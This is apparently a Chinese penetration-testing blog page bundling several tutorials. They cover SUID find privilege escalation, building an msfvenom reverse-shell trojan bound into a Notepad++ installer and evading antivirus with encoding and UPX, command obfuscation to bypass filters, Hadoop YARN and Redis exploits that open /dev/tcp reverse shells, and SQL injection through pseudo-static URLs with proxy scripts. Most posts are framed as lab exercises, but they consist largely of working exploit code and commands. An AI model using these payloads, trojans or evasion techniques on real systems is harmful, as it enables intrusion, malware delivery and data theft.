首页
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,397 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,053 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,167 阅读
4
几个常见的密码字典推荐
3,189 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,159 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
Windows渗透
域渗透
HackMyVm
CyberStrikeLab靶场
内网渗透
渗透测试
Web安全
网络安全
cyberstrikelab
OSCP
SQL注入
WAF绕过
信息收集
渗透工具
靶场
靶场推荐
MSF
ThinkPHP漏洞
Vulfocus
vulnhub
白小羽
累计撰写
184
篇文章
累计收到
0
条评论
首页
导航
泷羽收录
文章合集
OSCP打靶
渗透学习
渗透工具
工具导航
留言面板
友情链接
搜索到
184
篇与
的结果
2025-05-18
find基础命令与提权教程
前言在信息安全的广阔领域中,系统命令的权限设置至关重要。find命令作为Linux常用的文件查找工具,在日常管理中广泛应用。然而,当find命令被错误地赋予SUID权限时,它可能成为攻击者执行特权操作、实现权限提升的工具。本文深入探讨find命令的常规用法,展示其在特定权限设置下的安全风险,并通过实际案例演示权限提升过程,提供针对性的防御策略。参数介绍find常用参数语法:find 【path...】 【expression】 `path`为查早路径,` . `为当前路径,` / `为根目录,`expression`为参数 参数列表参考: -name:按照文件名查找文件 -perm:按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限 -user:按照文件属性来查找 -size n:文件大小是n个单位 -type: 1. d:目录 2. f:文件 3. c:字符设备文件(Character Device Files)--字符设备文**件允许用户以字节为单位与其进行交互**,这意味着数据可以按照任意大小和顺序进行读写。常见的字符设备包括键盘、鼠标和串口,比如`/dev/tty` 4. b:块设备文件(Block Device Files)--与字符设备相对,**块设备文件则是以块为单位进行读写的**。一块通常包含多个字节,例如512字节或4096字节等。<u>块设备的读写通常比字符设备要高效</u>,因此大多数**存储设备**(如硬盘和USB驱动器)都被视为块设备,例如,/dev/sda` -atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录 -amin n: 查找系统最后n分钟内曾被存取过的文件或目录 -ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -mtime: 查找系统中最后N分钟内曾被更改过的文件或目录 -mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录 -print: 将匹配的文件输出到标准输出 -exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和;之间的空格。 该表来自:https://blog.csdn.net/weixin_44912169/article/details/105845909Find实例1、在当前目录下模糊查找.txt 后缀的文件find . -name "*.txt"2、在root目录下查找大于50M小于100M的文件find / -size +50M -size -100M -type f # +-号分别代表大于和小于查找10分钟内读取过的文件find / -amin 10 -type f查找权限为755的文件或目录并排序find -perm -755 -type f |sort查找当前目录下所有.txt文件并把它们拼接起来写入到all.txt中# 1.txt ls whoami h0ck1r丶羽 # 2.txt cat 1,2,3 find / -name '*.txt' person=123 # 3.txt end_file='3.txt' echo 'over!'使用find 将这些文件合并到一个文件中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ;> all.txt ┌──(root㉿kali)-[/data/demo] └─# cat all.txt ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'拆解之后find . : 从当前目录开始找-type f : 只查找文件(不包括目录)-name '*.txt' : 查找文件名以 .txt 文件结尾的文件-exec cat {} ; : 对找到的每个文件执行cat命令,{}是一个占位符,代表find命令找到的每个文件名。;是命令的结束标记。> all.txt : 将cat命令的输出重定向到all.txt文件中。如果all.txt文件已存在,他会被覆盖;如果不存在,会被创建。这样就清楚了:┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ; ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!' ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'对结果进行赛选,然后保存再result.txt中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ; | grep 'h0ck1r' > result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽前面两个例子只是对结果进行操作,那么这里执行其他命令cat /etc/passwd┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat /etc/passwd ; root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin赋予root用户才能读取这个result,txt文件┌──(root㉿kali)-[/data/demo] └─# chmod 700 result.txt ┌──(root㉿kali)-[/data/demo] └─# cat result.txt h0ck1r丶羽我们切换kali执行find命令┌──(root㉿kali)-[/data/demo] └─# su kali ┌──(kali㉿kali)-[/data/demo] └─$ ls 1.txt 2.txt 3.txt all.txt result.txt ┌──(kali㉿kali)-[/data/demo] └─$ find result.txt -exec whoami ; kali ┌──(kali㉿kali)-[/data/demo] └─$ cat result.txt cat: result.txt: 权限不够 # 这里我们已经可以看到执行权限不够了使用kali用户提权,被拒绝了,find提权的利用就是/usr/bin/find具有SUID权限,一旦find被赋予了SUID权限,那么黑客利用这个方式进行权限提示,造成无法挽回的后果┌──(kali㉿kali)-[/data/demo] └─$ chmod u+s /usr/bin/find chmod: 更改 '/usr/bin/find' 的权限: 不允许的操作为了模拟黑客攻击过程,我们直接使用root用户修改find命令为SUID权限┌──(kali㉿kali)-[/data/demo] └─$ su root 密码:输入你的密码 ┌──(root㉿kali)-[/data/demo] └─# chmod u+s /usr/bin/find代码块不好看,换个终端。。。查看这个find权限,具有一个SUID权限SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。在这里,find文件所有者为root,那么我们使用具有SUID权限的find命令时,是以root用户的权限去执行的模拟开始,假设我们已经getshell,系统用户为kali找到了find具有SUID权限那么就可以利用find执行系统命令,whoami,这时候是root用户,而我们直接使用whoami则是kali普通用户首先查看result.txt权限,利用cat命令查看,权限不够,那么我们使用find命令执行命令,即可查看我们所属用户为root的result.txt文件,使用{}代表find查询出来的所有文件可以执行命令了,那么就是反弹shell,windows作为攻击机,开启nc监听在开始反弹之前,检查root用户的终端是哪个位置那么我们正常反弹shell的命令就是这样的,但是移交的是普通用户kali权限nc -e /usr/bin/zsh 10.0.0.7 3000使用find命令反弹shell,那么就是root权限反弹成功,我是root查看我们的result.txt文件,成功提权!总结find更多的用法只是用来查找文件,但如果操作不慎,赋予了SUID权限,它也可以被用来进行权限提升。本文总结了如下几点:1、当find命令被赋予了SUID权限时,普通用户执行该命令将能够以文件所有者(通常是root)的权限来执行。2、提权步骤需要确认find命令是否具有SUID权限。这可以通过查看文件权限来完成。一旦确认find命令具有SUID权限,就可以利用它来执行需要更高权限的命令。例如,可以使用find命令来读取或修改通常只有root用户才能访问的文件。3、防范防御者应该定期检查系统上的重要命令(如find)的权限设置,以确保它们没有被不当修改。还定期审计系统上的权限设置,以确保没有不当的权限提升行为发生。感谢观看!
2025年05月18日
1,300 阅读
0 评论
0 点赞
2025-05-18
【kali笔记】MSF内网渗透,免杀过360
【kali笔记】MSF内网渗透,免杀过360前言免杀,全称为反杀毒技术(Anti Anti-Virus),是一种能使病毒或木马免于被杀毒软件查杀的技术。免杀技术的定义与原理定义:免杀技术通过修改病毒、木马的内容或者特征码,使其能够躲避杀毒软件的查杀。原理:杀毒软件通常通过识别病毒或木马的特征码来检测和清楚恶意软件。免杀技术通过修改这些特征码,使病毒或木马在杀毒软件的检测下“隐身”。免杀的分类免杀技术可以根据不同的标准进行分类,下面是两种常见的分类方式:按是否有源代码分类开源免杀:指在病毒、木马源代码的前提下,通过修改源代码进行免杀。手工免杀:指在仅有病毒、木马的可执行文件(如.exe文件,即PE文件)的情况下进行免杀。按免杀方式分类文件免杀和查杀:在不运行程序的前提下使用杀毒软件进行对该程序的扫描。内存的免杀和查杀:通过运行程序后,使用杀毒软件的内存查杀功能或特定的工具(如OD)进行查杀。MSF免杀的实验裸奔木马1、在kali中直接使用MSFvenom生成木马文件,不做任何免杀处理,如下图:打开服务器传输到靶机直接就被杀了我们先信任该文件,保存到本地,用其他的木马分析平台看看在线杀毒腾讯哈勃分析系统好家伙,未发现风险。。。。。沙箱国家计算机病毒协同分析平台恶意是正常的,但我看到了如下结果,360没有检测出结果!!!打开360,经过评测,这个平台不行 。。上述测试结果仅为参考,VirusTotal拥有超过40种反病毒引擎,但仍不能保证扫描通过的文件绝对安全,因为威胁总在不断演进。事实上,无软件能确保100%检测病毒与恶意软件,杀毒软件旨在最大化用户保护。该平台支持邮件提交或直接上传文件进行分析,且每15分钟更新病毒库,以最新反病毒引擎检测多数潜在威胁。MSF编码在Meatsploit框架中,一种免杀方法是利用MSF编码器。该编码器能重新排列和编码攻击载荷文件,从而改变可执行代码的形态,以躲避杀毒软件的检测。具体来说,MSF编码器能将原始可执行程序转换为一个新的二进制文件。运行此新文件时,MSF编码器会在内存中解码并执行原始程序。查看所有的编码格式MSFvenom -l encoderMetasploit 自带了用于捆绑木马程序的程序模板,其位置在data/templates/template.exe ,虽然这个模板经常会更新,但是其仍是各大反病毒木马厂商的关注点。为了更好的实现免杀,此处自主选择一个待捆绑程序。3、使用以下命令生成 Windows环境下的木马、并捆绑到npp.7.8.5.installer.exe文件上,下载地址:https://notepad-plus-plus.org/downloads/v7.8.5/同时对木马文件进行x86/shikata_ga_nai编码方式的免杀处理:MSFvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.68 lport=4444 -e x86/shikata_ga_nai -x npp.7.8.5.Installer.exe -i 12 -f exe -o ./npp.exe每项参数参数备注-e指定编码方式对攻击载荷进行重新编码-x指定木马捆绑在哪个可执行程序模版上-i指定对目标进行编码的次数,多次编码理论上来讲有助于免杀-f指定MSF编码器输出的程序的格式-o指定处理完毕后的文件输出路径将木马文件传输给靶机用到 multi/handler 模块配置如下双击运行,这里是运行着腾讯电脑管家的。成功上线电脑管家360免杀了。。。。。。我怀疑我装了个假的360。沙箱VirusTotal41/73的查杀率UPX加壳UPX打包器原理简单:压缩可执行文件,附加解压缩代码。运行时先解压,再执行。其旨在反调试、防逆向。此用打包器,为改变后门特征码。1、kali 内置了 upx 工具,执行 upx 命令可查看简略的参数介绍:2、执行以下命令,对刚才生成的木马文件进行加壳处理:将加壳后的木马传到靶机,360检测,还是免杀。。。。垃圾360执行这个exe程序,成功加壳后的virustotal查杀率36/72明显比之前41/73查杀率,要低了不少总结免杀与反免杀的较量永无止境。本文所述方法目前有效,但技术日新月异,免杀需不断实践与创新,方能在实战中立于不败之地。往期推荐如何在GZCTF部署简单的Web和PWN动态flag?【CTF杂项】常见文件文件头、文件尾格式总结及各类文件头一款开源持续更新的后渗透免杀框架【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析
2025年05月18日
1,327 阅读
0 评论
0 点赞
2025-05-18
windows和linux的命令混淆方式
windows和Linux的命令混淆方式我们在windows命令行中执行命令的时候,是不区分大小写的C:>WHOAMI yvadministrator在命令行中可以有无数个"C:>wh""""oami yvadministrator C:>wh""""""""""""""""""""""""""""""oami yvadministrator不能有两个连续的^C:>whoa^mi yvadministrator C:>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:>who^a^m^i yvadministrator在命令中如果 " 在^之前,此时"的数量必须为偶数C:>who""a^mi yvadministrator C:>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。在命令中"在^之后,且带有参数,则”也需要带有偶数C:>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:>n^et"" user \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。也可以使用()对命令进行包裹C:>(whoami) yvadministrator C:>(n^et"" user) \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。()的数量不设上限C:>(((whoami))) yvadministrator使用变量简单拼接%%局部分开每个变量C:>set cmd1=who C:>set cmd2=am C:>set cmd3=i C:>%cmd1%%cmd2%%cmd3% yvadministrator变量拼接方式二C:>set cmd1=who C:>set cmd3=i C:>%cmd1%am%cmd3% yvadministrator变量拼接方式三C:>set cmd1=wh"""o C:>set cmd3=i""" C:>%cmd1%am%cmd3% yvadministrator变量拼接方式四 ^C:>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:>set cmd3=i""" # 后面正常多少个 " 都行 C:>%cmd1%a^m%cmd3% yvadministrator含有参数的命令,net userC:>set cmd1=s""er C:>set cmd2=t u C:>set cmd3=n^e C:>%cmd3%%cmd2%%cmd1% \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。Windows环境变量切分C:>set cmd=whoami C:>%cmd% yvadministrator这个0,1表示的数组切片,代表前后切片的索引C:>set cmd=whoami C:>echo %cmd:~0,1% w C:>echo %cmd:~0,4% whoa也可以为负数,负数表示从右边开始数第几个C:>set cmd=whoami C:>echo %cmd:~-4,4% oami C:>echo %cmd:~-6,4% whoa当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yvadministratorLinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root&只执行正确的那一段代码┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto&&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found|管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。┌──(root㉿251ebe86465a)-[/] └─# ls | grep 'boo*' boot||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever转义字符┌──(root㉿251ebe86465a)-[/] └─# whoami root'',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root命令引用┌──(root㉿kali)-[/data] └─# t=l;j=s;$t$j 谷歌插件 GitHack mikuLinux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字┌──(root㉿kali)-[/data] └─# who$2ami root ┌──(root㉿kali)-[/data] └─# who$4ami root ┌──(root㉿kali)-[/data] └─# who$*ami root ┌──(root㉿kali)-[/data] └─# who$@ami root ┌──(root㉿kali)-[/data] └─# who$0ami who-zshami:未找到命令Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi rootLinux中命令中的命令虽然会报错,但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666:未找到命令 6666:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666:未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa:未找到命令 sajfdkljas:未找到命令 sdjflk123:未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i rootLinux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60分割环境变量
2025年05月18日
425 阅读
0 评论
0 点赞
2025-05-18
Hadoop & Redis未授权访问漏洞,靶场实战——Vulfocus
一、介绍未授权访问,也称为未经授权的访问或非法访问,是指在没有得到适当权限或授权的情况下,个人或系统访问了网络、计算机、数据库、文件、应用程序或其他受保护资源的行为。这种访问可能出于恶意或非恶意的目的,但无论其意图如何,未授权访问都可能导致敏感信息的泄露、数据的篡改或破坏、系统功能的异常,甚至更严重的安全事件。未授权访问的常见攻击手段包括但不限于:利用已知的系统漏洞或弱点。通过猜测、破解或窃取密码等认证信息。使用恶意软件,如病毒、木马等,来绕过安全机制。社交工程,如诱骗用户泄露敏感信息。二、靶场介绍--VulfocusVulfocus是一个便捷的漏洞集成平台,用户只需加载漏洞环境的Docker镜像即可快速使用。它具备一键启动、自动更新flag、计分考核等特性,适用于安全测试和能力评估。平台兼容Vulhub和Vulapps的镜像,支持可视化配置,是安全人员的理想工具。在线位置:https://vulfocus.cn/#/dashboard离线版本:https://github.com/fofapro/vulfocus (即使没有网络也可以在本地进行渗透测试)Tips:Docker 部署过程需要科x上网,本地使用不需要,要么使用国外服务器,使用linux部署靶场我没有找到linux版本的科x上网工具,大多数科x上网工具都是windows的,所以使用windows的版本Docker(Docker desktop)来部署,使用即可这个坑踩了一天。。。三、漏洞复现1、HadoopHadoop是一个由Apache基金会开发的分布式系统基础架构,主要解决海量数据的存储和分析计算问题。它起源于Lucene框架,受Google大数据论文启发,发展出HDFS、MapReduce和Hbase等核心组件。2005年,Hadoop作为Lucene子项目Nutch的一部分加入Apache,2006年成为独立项目。Hadoop的命名来自创始人Doug Cutting儿子的玩具大象,它的诞生标志着云计算时代的到来。Hadoop的主要用于:分布式存储:通过Hadoop分布式文件系统(HDFS),Hadoop能够存储海量数据,提供高吞吐量的数据访问。分布式计算:利用MapReduce编程模型,Hadoop能够处理大量数据集,执行并行计算任务,提高数据处理效率。数据挖掘和分析:Hadoop支持复杂的数据分析和数据挖掘任务,帮助用户从大规模数据集中提取有价值的信息。Hadoop YARN的ResourceManager是集群资源分配和调度的关键,若出现未授权访问漏洞,可能使未认证用户访问或操纵资源,引发数据泄露、资源滥用或服务中断。此类安全问题需及时修复,以保护集群安全。该漏洞涉及版本:hadoop 3.3.0以下搜索hadoop,启动环境即可访问靶场给你的第一个ip地址,就可以进入hadoop网页界面查看版本,2.8.1,存在未授权访问漏洞使用python脚本进行shell反弹exp脚本参考:https://www.cnblogs.com/cute-puli/p/14944637.html#!/usr/bin/env python import requests target = 'http://123.58.224.8:32220/' 目标网址 lhost = '用来反弹的ip,公网能访问的ip' # put your local host ip here, and listen at port 9999 url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) app_id = resp.json()['application-id'] url = target + 'ws/v1/cluster/apps' data = { 'application-id': app_id, 'application-name': 'get-shell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/公网ip监听的端口号 0>&1' % lhost, }, }, 'application-type': 'YARN', } requests.post(url, json=data)使用终端或者其他shell工具连接你的公网服务器,我的是centos系统,终端连接ssh协议ssh root@192.168.128.128连接之后下载netcat瑞士军刀命令yum install -y nc,启动监听nc -lvvp 4443注意,启动监听之前需要放行你监听的防火墙端口,否则之后执行py脚本会导致没有任何反应,查看你的端口放行情况iptables -L -n -v -L 表示列出所有规则 -n 表示以数字形式显示地址和端口号 -v 表示显示详细信息新建一个终端执行你的脚本即可python .hadoop-payload.py反弹成功再根据题目提示,找到flag提交即可2、RedisCNVD-2019-21763是关于Redis数据库的一个远程命令执行漏洞,其原理主要涉及到Redis 4.x及更高版本中新增的模块功能以及主从同步机制的不当使用,它的默认端口为6379,漏洞等级:高危。端口探测:由于我启动的Vulfocus靶场redis端口为64239,所以nmap扫描命令如下 nmap -v -Pn -p 64239 -sV 123.58.224.8 发现存在64239 redis服务默认端口使用redis-cli测试靶机的redis是否支持远程连接,经过测试支持redis-cli -h 123.58.224.8 -p 64239然后并且追加如下内容set xxx "nn 1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/44330>&1nn" config set dir /var/ config set dbfilename root save知识扩展:在面对大量读写数据时,单个Redis实例可能会承受巨大压力。为了解决这个问题,Redis引入了主从模式。在此模式下,一个Redis实例作为主机,负责处理所有的写操作,而其他实例作为从机,与主机保持数据同步,并专门处理读请求。这种读写分离的策略有效减轻了服务器的负载,是通过增加空间使用来换取系统处理效率的一种策略。进一步地,Redis 4.x版本后,通过新增的模块功能,开发者可以使用C语言编写并编译成.so文件,从而在Redis中实现自定义的新命令,进一步扩展了Redis的功能和应用场景。——主从复制RCE发现保存的时候怎么也保存不了,又花了半小时,找到了这个方法--手动编译 so 扩展文件,忍不住这回当了脚本小子,执行如下命令git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand cd RedisModules-ExecuteCommand/这是我的目录效果继续git clone https://github.com/Ridter/redis-rce.git cd redis-rce/ cd ../ # 将module.so复制一份到当前目录下的redis-rce cp module.so ./redis-rce # 使用pip安装依赖 pip install -r requirements.txt执行攻击之前,需要放行21000端口python redis-rce.py -r 123.58.236.76(靶机) -p redis端口 -L vps的IP地址 -f module.so中途超时了一下所以我的靶场redis端口变成了 11778redis-cnvd_2015_07557做法同理,更改靶场ip和端口即可原文链接:https://mp.weixin.qq.com/s/4gHAAg_c66Y0zgq8id_sNA
2025年05月18日
445 阅读
0 评论
0 点赞
2025-05-18
伪静态注入总结
伪静态注入的总结伪静态页面渗透在日常的测试中,经常会遇到静态页面,尤其是政府类的站点(前提经过授权),此时就会非常的棘手,在下多试验后,发现以下思路或可以帮助我们跨越这个障碍。伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能判断方法在浏览器里控制台(console),输入代码或粘贴js代码alert(document.lastModified); 回车执行,会弹出一个弹窗。重新刷新网页,再用相同的方法在控制台里输入查询代码,再查看文件的最后修改时间,如果发现时间不同则可以判断它是伪静态。如果是伪静态页面,可以尝试将其变成动态页面。伪静态的话只是由动态转成了静态,从地址上你是可以看到转递参数的,比如phpweb,它的链接是这样的:news/?123.html,这个你可以理解成news.php?id=123。所以你可以news/?123*.html这样提交。或者可以进行伪静态中转。(伪静态中转注入总结:博客园地址)入侵的大概思维方式对搜索框进行测试(注入测试) 对登录处进行测试(万能密码、注入) 对站点进行目录扫描(发现其他突破口) 从C段下手一:中转注入法1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了http://www.xxx.com/news.php/id/1.html2.测试步骤:中转注入的php代码:inject.php<?php set_time_limit(0); $id=$_GET["id"]; $id=str_replace(” “,”%20″,$id); $id=str_replace(“=”,”%3D”,$id); //$url = "http://www.xxx.com/news.php/id/$id.html"; $url = "http://www.xxx.com/news.php/id/$id.html"; //echo $url; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); curl_close($ch); print_r($output); ?> 3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1通过sqlmap或者havj可以跑注入漏洞。附录ASP中转代码:<strong><font style="font-size: 12pt"><code id="code1"><% JmdcwName=request("id") JmStr=JmdcwName JmStr=URLEncoding(JmStr) JMUrl="http://192.168.235.7:8808/ad/blog/" //实际上要请求的网址 JMUrl=JMUrl & JmStr&".html" //拼接url response.write JMUrl&JmStr //我这里故意输出url来看 'JmRef="http://127.0.0.1/6kbbs/bank.asp" JmCok="" JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr) response.write PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段 Function PostData(PostUrl,PostStr,PostCok,PostRef) Dim Http Set Http = Server.CreateObject("msxml2.serverXMLHTTP") With Http .Open "GET",PostUrl,False .Send () PostData = .ResponseBody End With Set Http = Nothing PostData =bytes2BSTR(PostData) End Function Function bytes2BSTR(vIn) //处理返回的信息 Dim strReturn Dim I, ThisCharCode, NextCharCode strReturn = "" For I = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn, I, 1)) If ThisCharCode < &H80 Then strReturn = strReturn & Chr(ThisCharCode) Else NextCharCode = AscB(MidB(vIn, I + 1, 1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) I = I + 1 End If Next bytes2BSTR = strReturn End Function Function URLEncoding(vstrin) //发包前对参数的url编码一下 strReturn="" Dim i 'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符, 'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 'vstrin=Replace(vstrin,chr(43),"%2B") 'JMDCW增加转换+字符 vstrin=Replace(vstrin,chr(32),"/**/") '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的 For i=1 To Len(vstrin) ThisChr=Mid(vstrin,i,1) if Abs(Asc(ThisChr))< &HFF Then strReturn=strReturn & ThisChr Else InnerCode=Asc(ThisChr) If InnerCode<0 Then InnerCode=InnerCode + &H10000 End If Hight1=(InnerCode And &HFF00) &HFF Low1=InnerCode And &HFF strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) End if Next URLEncoding=strReturn End Function %></code></font></strong>二、手工注入法1.http://www.xxx.com/play/Diablo.htmlhttp://www.xxx.com/down/html/?772.html2.测试注入:http://www.xxx.com/down/html/?772′.htmlhttp://www.xxx.com /play/Diablo'.htmlhttp://www.xxx.com/play/Diablo'/**/and /*/1='1 /.htmlhttp://www.xxx.com/play/Diablo' //and //1='2 /*.htmlhttp://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错3.看页面是否存在差异,相同则不存在,不同存在注入。4.联合查询:http://www.xxx.com/play/diablo’ and 1=2 union select 1,2… frominformation_schema.columns where 